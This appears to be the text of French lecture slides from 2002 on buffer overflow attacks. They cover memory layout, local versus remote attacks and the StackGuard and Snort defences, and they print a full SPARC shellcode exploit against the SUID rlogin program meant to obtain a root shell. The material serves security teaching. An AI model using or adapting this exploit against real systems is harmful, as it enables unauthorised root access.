Buffer Overflow When Data Become Instructions Vendredi, 1er mars 2002 : Sart-Tilman
Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion
1- Principes généraux Qu'est-ce que le buffer overflow ? Le buffer overflow est une forme d’attaque visant à faire exécuter dans un processus du code malicieux initialement non présent dans celui-ci.
Qu'est-ce que le buffer overflow ? Si le processus corrompu a le SUID bit positionné, l'exécution de code arbitraire avec des privilèges d'exécution root peut avoir des effets désastreux pour le système attaqué... Utilisation la plus courante : attaquer un démon système en vue d'obtenir un shell root.
Qu'est-ce que le buffer overflow ? Quelle faille un processus doit-il exhiber pour être vulnérable à une attaque par buffer overflow ? Du code écrit avec peu de rigueur suffit : le non-respect de la propriété invariante établie pour une boucle est une source majeure de vulnérabilité.
Qu'est-ce que le buffer overflow ? Une telle approche laxiste de la programmation est nuisible, conduisant à une vulnérabilité importante des systèmes. En effet, faire du buffer overflow consiste à écrire dans un buffer (souvent un tableau d'octets) plus de données que la capacité nominale du buffer ne le permet.
Exemple void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; strcpy(tableau, depasse); }
Quelles sont les étapes conduisant à un exploit ? (vue d’ensemble) Trouver la victime (SUID !) Analyser son code source (trouver les failles!) Lui faire manger un œuf (le code malicieux) en exploitant une faille telle que précédemment décrite Laisser incuber… (l’œuf est activé quand l’exécution du processus retourne de la fonction où le buffer overflow a eu lieu) La voie royale!
2 interrogations fondamentales comment placer l’œuf ? variables d'environnement arguments fonctionnels comment faire exécuter l’œuf ? WHEN DATA BECOME INSTRUCTIONS
Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion
2- Organisation de la mémoire 2 architectures : –Architecture Von Neumann "C'est le programme qui doit s'occuper de distinguer les données des instructions." –Architecture Harvard code données codedonnées
Architecture Von Neumann Attaque en utilisant la pile
Code exécutable Organisation de la pile : Exécution normale Mémoire allouée aux données d’un programme Tas Pile int main() { int i, *p; p = malloc(SIZE); Trucmuch(1,2,3); return 0; } void Trucmuch(int a, int b, int c) { char tableau[20]; } i, p Push $1 Push $2 Push $3 Push $1 Push $2 Push $3 call Trucmuch tableau sfp ret 20 : 0 1, 2, 3
Organisation de la pile : Exécution anormale Code exécutable void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; strcpy(tableau, depasse); } Pile tableau sfp ret 1, 2, 3 depasse ret sfp 20 : ? ? SEGMENTATION FAULT
Organisation de la pile : Exécution malicieuse Code exécutable void Trucmuch(int a, int b, int c) { char tableau[20]; char depasse[28]; depasse = "A1 BB … strcpy(tableau, depasse); } Pile tableau sfp ret 1, 2, 3 X+28. X + 0 ret sfp 20 : #> _ new ret Depasse A1 BB B F1 A F D4 D
Architectures Von Neumann & Harvard Attaque en utilisant le tas Pas de données qui deviennent des instructions Utilisation des effets de bord
Buffer overflow dans le tas tas Mot de passe Donnée innocente écrasé
Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion
Attaque locale ou à distance Vue générale * Différences entre le buffer overflow local et à distance * Difficultés d’exploitation * Exemples
Différences entre local et à distance B.O. local : L’intrus possède déjà un compte sur la machine sur laquelle il veut réaliser l’attaque. B.O. à distance: L’intrus attaque la cible depuis une autre machine et il n’a aucun login sur cette cible.
Difficultés de réaliser ces attaques B.O. local: Cette attaque est très simple à réaliser l’intrus n’a qu’à exécuter un programme malicieux qui lui donnera in fine les privilèges de root. B.O. à distance: Cette attaque requiert plus de connaissances et plus de travail: –établir une connexion avec la cible –trouver une faiblesse qui l’autorisera à exécuter du code (et ainsi placer le code malicieux) –trouver un moyen d’exécuter le code malicieux
Exemples B.O. local: rlogin B.O. à distance: Exploiter la faiblesse d’un serveur web
Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion
4- Exemple : rlogin Présentation succincte du code Failles dans le code source Expliquer l’attaque
#include... #define... u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0" "\x13\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15" "\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94" "\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8" "\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode); 1/2
long_p = (u_long *) buf; for (i = 0 ; i < (BUF_LENGTH - code_length) / sizeof(u_long) ; i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = targ_addr; printf("Jumping to address 0x%lx\n", targ_addr); execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0); perror("execl failed"); } 2/2
sfp ret code nop
Buffer Overflow Principes généraux Organisation de la mémoire - Exploitation 2 types d’attaque (locale ou distante) Exemple : rlogin Détection d’intrusion
5- Détection d’intrusion Deux solutions possibles Stackguard Snort
Stackguard un compilateur spécialisé buffer sfp ret canary En cas d’attaque on écrase le buffer, canary et ret avant le retour de la fonction, le programme vérifie le contenu de canary et détecte l’intrusion
Stackguard : canary Canary ne doit pas pouvoir être généré par buffer overflow Nombre aléatoire Une chaine contenant des 0x00 et des CR/LF
Snort Attaque locale : ??? Attaque à distance : –Détecter le passage du shell-code